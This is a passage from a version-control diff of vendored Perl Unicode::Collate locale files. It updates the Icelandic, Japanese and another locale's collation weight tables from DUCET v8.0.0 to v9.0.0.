-006E 0079 ; [.1D37.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
-004E 0079 ; [.1D37.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
-004E 0059 ; [.1D37.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
-1ECD      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW
-006F 0323 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW
-1ECC      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW
-004F 0323 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW
-1ED9      ; [.1D59.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1ED8      ; [.1D59.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
-1EE3      ; [.1D59.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW
-1EE2      ; [.1D59.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
-0073 0068 ; [.1DED.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER H>
-0053 0068 ; [.1DED.0020.0007] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER H>
-0053 0048 ; [.1DED.0020.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER H>
-1EE5      ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DOT BELOW
-0075 0323 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DOT BELOW
-1EE4      ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DOT BELOW
-0055 0323 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DOT BELOW
-1EF1      ; [.1E31.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW
-1EF0      ; [.1E31.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0063 0068 ; [.1C61.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER H>
+0043 0068 ; [.1C61.0020.0007] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER H>
+0043 0048 ; [.1C61.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER H>
+0067 0062 ; [.1CF5.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER B>
+0047 0062 ; [.1CF5.0020.0007] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER B>
+0047 0042 ; [.1CF5.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER B>
+0067 0068 ; [.1CF6.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER H>
+0047 0068 ; [.1CF6.0020.0007] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER H>
+0047 0048 ; [.1CF6.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER H>
+0067 0077 ; [.1CF7.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER W>
+0047 0077 ; [.1CF7.0020.0007] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER W>
+0047 0057 ; [.1CF7.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER W>
+1ECB      ; [.1D33.0020.0002] # LATIN SMALL LETTER I WITH DOT BELOW
+0069 0323 ; [.1D33.0020.0002] # LATIN SMALL LETTER I WITH DOT BELOW
+1ECA      ; [.1D33.0020.0008] # LATIN CAPITAL LETTER I WITH DOT BELOW
+0049 0323 ; [.1D33.0020.0008] # LATIN CAPITAL LETTER I WITH DOT BELOW
+006B 0070 ; [.1D66.0020.0002] # <LATIN SMALL LETTER K, LATIN SMALL LETTER P>
+004B 0070 ; [.1D66.0020.0007] # <LATIN CAPITAL LETTER K, LATIN SMALL LETTER P>
+004B 0050 ; [.1D66.0020.0008] # <LATIN CAPITAL LETTER K, LATIN CAPITAL LETTER P>
+006B 0077 ; [.1D67.0020.0002] # <LATIN SMALL LETTER K, LATIN SMALL LETTER W>
+004B 0077 ; [.1D67.0020.0007] # <LATIN CAPITAL LETTER K, LATIN SMALL LETTER W>
+004B 0057 ; [.1D67.0020.0008] # <LATIN CAPITAL LETTER K, LATIN CAPITAL LETTER W>
+1E45      ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH DOT ABOVE
+006E 0307 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH DOT ABOVE
+1E44      ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH DOT ABOVE
+004E 0307 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH DOT ABOVE
+006E 0077 ; [.1DBB.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER W>
+004E 0077 ; [.1DBB.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER W>
+004E 0057 ; [.1DBB.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER W>
+006E 0079 ; [.1DBC.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
+004E 0079 ; [.1DBC.0020.0007] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
+004E 0059 ; [.1DBC.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
+1ECD      ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW
+006F 0323 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH DOT BELOW
+1ECC      ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW
+004F 0323 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH DOT BELOW
+1ED9      ; [.1DDE.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1ED8      ; [.1DDE.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW
+1EE3      ; [.1DDE.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW
+1EE2      ; [.1DDE.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW
+0073 0068 ; [.1E72.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER H>
+0053 0068 ; [.1E72.0020.0007] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER H>
+0053 0048 ; [.1E72.0020.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER H>
+1EE5      ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DOT BELOW
+0075 0323 ; [.1EB6.0020.0002] # LATIN SMALL LETTER U WITH DOT BELOW
+1EE4      ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DOT BELOW
+0055 0323 ; [.1EB6.0020.0008] # LATIN CAPITAL LETTER U WITH DOT BELOW
+1EF1      ; [.1EB6.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER U WITH HORN AND DOT BELOW
+1EF0      ; [.1EB6.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER U WITH HORN AND DOT BELOW
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/is.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/is.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/is.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,81 +1,81 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-00E1      ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0301 ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0341 ; [.1BDA.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
-00C1      ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0301 ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0341 ; [.1BDA.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0111      ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
-00F0      ; [.1C0B.0020.0002] # LATIN SMALL LETTER ETH
-1DD9      ; [.1C0B.0020.0002] # COMBINING LATIN SMALL LETTER ETH
-00D0      ; [.1C0B.0020.0008] # LATIN CAPITAL LETTER ETH
-00E9      ; [.1C5F.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0301 ; [.1C5F.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0341 ; [.1C5F.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
-00C9      ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0301 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0341 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-00ED      ; [.1CC6.0020.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0301 ; [.1CC6.0020.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0341 ; [.1CC6.0020.0002] # LATIN SMALL LETTER I WITH ACUTE
-00CD      ; [.1CC6.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0301 ; [.1CC6.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0341 ; [.1CC6.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-00F3      ; [.1D86.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0301 ; [.1D86.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0341 ; [.1D86.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
-00D3      ; [.1D86.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0301 ; [.1D86.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0341 ; [.1D86.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-00FA      ; [.1E5D.0020.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0301 ; [.1E5D.0020.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0341 ; [.1E5D.0020.0002] # LATIN SMALL LETTER U WITH ACUTE
-00DA      ; [.1E5D.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0301 ; [.1E5D.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0341 ; [.1E5D.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-00FD      ; [.1E9B.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE
-0079 0301 ; [.1E9B.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE
-0079 0341 ; [.1E9B.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE
-00DD      ; [.1E9B.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE
-0059 0301 ; [.1E9B.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE
-0059 0341 ; [.1E9B.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE
-00E6      ; [.1F11.0020.0002] # LATIN SMALL LETTER AE
-1DD4      ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE
-00C6      ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE
-1D2D      ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE
-01FD      ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
-01FC      ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
-01E3      ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
-01E2      ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
-00E4      ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
-00C4      ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
-01DF      ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
-01DE      ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
-00F6      ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1F12.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1F12.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-00F8      ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH STROKE
-006F 0338 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH STROKE
-00D8      ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
-004F 0338 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
-01FF      ; [.1F12.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
-01FE      ; [.1F12.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
-00E5      ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-0061 030A ; [.1F13.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
-00C5      ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-0041 030A ; [.1F13.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
-212B      ; [.1F13.0020.0008] # ANGSTROM SIGN
-01FB      ; [.1F13.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
-01FA      ; [.1F13.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+00E1      ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0301 ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0341 ; [.1C5F.0020.0002] # LATIN SMALL LETTER A WITH ACUTE
+00C1      ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0301 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0341 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0111      ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE
+00F0      ; [.1C90.0020.0002] # LATIN SMALL LETTER ETH
+1DD9      ; [.1C90.0020.0002] # COMBINING LATIN SMALL LETTER ETH
+00D0      ; [.1C90.0020.0008] # LATIN CAPITAL LETTER ETH
+00E9      ; [.1CE4.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0301 ; [.1CE4.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0341 ; [.1CE4.0020.0002] # LATIN SMALL LETTER E WITH ACUTE
+00C9      ; [.1CE4.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0301 ; [.1CE4.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0341 ; [.1CE4.0020.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+00ED      ; [.1D4B.0020.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0301 ; [.1D4B.0020.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0341 ; [.1D4B.0020.0002] # LATIN SMALL LETTER I WITH ACUTE
+00CD      ; [.1D4B.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0301 ; [.1D4B.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0341 ; [.1D4B.0020.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+00F3      ; [.1E0B.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0301 ; [.1E0B.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0341 ; [.1E0B.0020.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1E0B.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0301 ; [.1E0B.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0341 ; [.1E0B.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+00FA      ; [.1EE2.0020.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0301 ; [.1EE2.0020.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0341 ; [.1EE2.0020.0002] # LATIN SMALL LETTER U WITH ACUTE
+00DA      ; [.1EE2.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0301 ; [.1EE2.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0341 ; [.1EE2.0020.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+00FD      ; [.1F20.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE
+0079 0301 ; [.1F20.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE
+0079 0341 ; [.1F20.0020.0002] # LATIN SMALL LETTER Y WITH ACUTE
+00DD      ; [.1F20.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE
+0059 0301 ; [.1F20.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE
+0059 0341 ; [.1F20.0020.0008] # LATIN CAPITAL LETTER Y WITH ACUTE
+00E6      ; [.1F96.0020.0002] # LATIN SMALL LETTER AE
+1DD4      ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE
+00C6      ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE
+1D2D      ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE
+01FD      ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE
+01FC      ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE
+01E3      ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON
+01E2      ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON
+00E4      ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS
+00C4      ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS
+01DF      ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON
+01DE      ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON
+00F6      ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+006F 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
+00D6      ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+004F 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
+022B      ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
+022A      ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+00F8      ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH STROKE
+006F 0338 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH STROKE
+00D8      ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
+004F 0338 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE
+01FF      ; [.1F97.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE
+01FE      ; [.1F97.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+00E5      ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+0061 030A ; [.1F98.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE
+00C5      ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+0041 030A ; [.1F98.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE
+212B      ; [.1F98.0020.0008] # ANGSTROM SIGN
+01FB      ; [.1F98.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+01FA      ; [.1F98.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ja.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ja.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ja.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,1337 +1,1337 @@
 use Unicode::Collate::CJK::JISX0208;
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    overrideCJK => \&Unicode::Collate::CJK::JISX0208::weightJISX0208,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-30A1      ; [.3BC3.0020.000F.0002] # KATAKANA LETTER SMALL A
-30A2      ; [.3BC3.0020.0011.0002] # KATAKANA LETTER A
-30A3      ; [.3BC4.0020.000F.0002] # KATAKANA LETTER SMALL I
-30A4      ; [.3BC4.0020.0011.0002] # KATAKANA LETTER I
-30A5      ; [.3BC5.0020.000F.0002] # KATAKANA LETTER SMALL U
-30A6      ; [.3BC5.0020.0011.0002] # KATAKANA LETTER U
-30A7      ; [.3BC7.0020.000F.0002] # KATAKANA LETTER SMALL E
-30A8      ; [.3BC7.0020.0011.0002] # KATAKANA LETTER E
-30A9      ; [.3BC8.0020.000F.0002] # KATAKANA LETTER SMALL O
-30AA      ; [.3BC8.0020.0011.0002] # KATAKANA LETTER O
-30AB      ; [.3BC9.0020.0011.0002] # KATAKANA LETTER KA
-30AC      ; [.3BC9.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GA
-30AD      ; [.3BCA.0020.0011.0002] # KATAKANA LETTER KI
-30AE      ; [.3BCA.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GI
-30AF      ; [.3BCB.0020.0011.0002] # KATAKANA LETTER KU
-30B0      ; [.3BCB.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GU
-30B1      ; [.3BCC.0020.0011.0002] # KATAKANA LETTER KE
-30B2      ; [.3BCC.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GE
-30B3      ; [.3BCD.0020.0011.0002] # KATAKANA LETTER KO
-30B4      ; [.3BCD.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER GO
-30B5      ; [.3BCE.0020.0011.0002] # KATAKANA LETTER SA
-30B6      ; [.3BCE.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZA
-30B7      ; [.3BCF.0020.0011.0002] # KATAKANA LETTER SI
-30B8      ; [.3BCF.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZI
-30B9      ; [.3BD0.0020.0011.0002] # KATAKANA LETTER SU
-30BA      ; [.3BD0.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZU
-30BB      ; [.3BD1.0020.0011.0002] # KATAKANA LETTER SE
-30BC      ; [.3BD1.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZE
-30BD      ; [.3BD2.0020.0011.0002] # KATAKANA LETTER SO
-30BE      ; [.3BD2.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER ZO
-30BF      ; [.3BD3.0020.0011.0002] # KATAKANA LETTER TA
-30C0      ; [.3BD3.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DA
-30C1      ; [.3BD4.0020.0011.0002] # KATAKANA LETTER TI
-30C2      ; [.3BD4.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DI
-30C3      ; [.3BD5.0020.000F.0002] # KATAKANA LETTER SMALL TU
-30C4      ; [.3BD5.0020.0011.0002] # KATAKANA LETTER TU
-30C5      ; [.3BD5.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DU
-30C6      ; [.3BD6.0020.0011.0002] # KATAKANA LETTER TE
-30C7      ; [.3BD6.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DE
-30C8      ; [.3BD7.0020.0011.0002] # KATAKANA LETTER TO
-30C9      ; [.3BD7.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER DO
-30CA      ; [.3BD8.0020.0011.0002] # KATAKANA LETTER NA
-30CB      ; [.3BD9.0020.0011.0002] # KATAKANA LETTER NI
-30CC      ; [.3BDA.0020.0011.0002] # KATAKANA LETTER NU
-30CD      ; [.3BDB.0020.0011.0002] # KATAKANA LETTER NE
-30CE      ; [.3BDC.0020.0011.0002] # KATAKANA LETTER NO
-30CF      ; [.3BDD.0020.0011.0002] # KATAKANA LETTER HA
-30D0      ; [.3BDD.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BA
-30D1      ; [.3BDD.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PA
-30D2      ; [.3BDE.0020.0011.0002] # KATAKANA LETTER HI
-30D3      ; [.3BDE.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BI
-30D4      ; [.3BDE.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PI
-30D5      ; [.3BDF.0020.0011.0002] # KATAKANA LETTER HU
-30D6      ; [.3BDF.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BU
-30D7      ; [.3BDF.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PU
-30D8      ; [.3BE0.0020.0011.0002] # KATAKANA LETTER HE
-30D9      ; [.3BE0.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BE
-30DA      ; [.3BE0.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PE
-30DB      ; [.3BE1.0020.0011.0002] # KATAKANA LETTER HO
-30DC      ; [.3BE1.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER BO
-30DD      ; [.3BE1.0020.0011.0002][.0000.0038.0002] # KATAKANA LETTER PO
-30DE      ; [.3BE2.0020.0011.0002] # KATAKANA LETTER MA
-30DF      ; [.3BE3.0020.0011.0002] # KATAKANA LETTER MI
-30E0      ; [.3BE4.0020.0011.0002] # KATAKANA LETTER MU
-30E1      ; [.3BE5.0020.0011.0002] # KATAKANA LETTER ME
-30E2      ; [.3BE6.0020.0011.0002] # KATAKANA LETTER MO
-30E3      ; [.3BE7.0020.000F.0002] # KATAKANA LETTER SMALL YA
-30E4      ; [.3BE7.0020.0011.0002] # KATAKANA LETTER YA
-30E5      ; [.3BE8.0020.000F.0002] # KATAKANA LETTER SMALL YU
-30E6      ; [.3BE8.0020.0011.0002] # KATAKANA LETTER YU
-30E7      ; [.3BEA.0020.000F.0002] # KATAKANA LETTER SMALL YO
-30E8      ; [.3BEA.0020.0011.0002] # KATAKANA LETTER YO
-30E9      ; [.3BEB.0020.0011.0002] # KATAKANA LETTER RA
-30EA      ; [.3BEC.0020.0011.0002] # KATAKANA LETTER RI
-30EB      ; [.3BED.0020.0011.0002] # KATAKANA LETTER RU
-30EC      ; [.3BEE.0020.0011.0002] # KATAKANA LETTER RE
-30ED      ; [.3BEF.0020.0011.0002] # KATAKANA LETTER RO
-30EE      ; [.3BF0.0020.000F.0002] # KATAKANA LETTER SMALL WA
-30EF      ; [.3BF0.0020.0011.0002] # KATAKANA LETTER WA
-30F0      ; [.3BF1.0020.0011.0002] # KATAKANA LETTER WI
-30F1      ; [.3BF2.0020.0011.0002] # KATAKANA LETTER WE
-30F2      ; [.3BF3.0020.0011.0002] # KATAKANA LETTER WO
-30F3      ; [.3BF4.0020.0011.0002] # KATAKANA LETTER N
-30F4      ; [.3BC5.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VU
-30F5      ; [.3BC9.0020.000F.0002] # KATAKANA LETTER SMALL KA
-30F6      ; [.3BCC.0020.000F.0002] # KATAKANA LETTER SMALL KE
-30F7      ; [.3BF0.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VA
-30F8      ; [.3BF1.0020.0011.0002][.0000.0037.0002] # KATAKANA LETTER VI
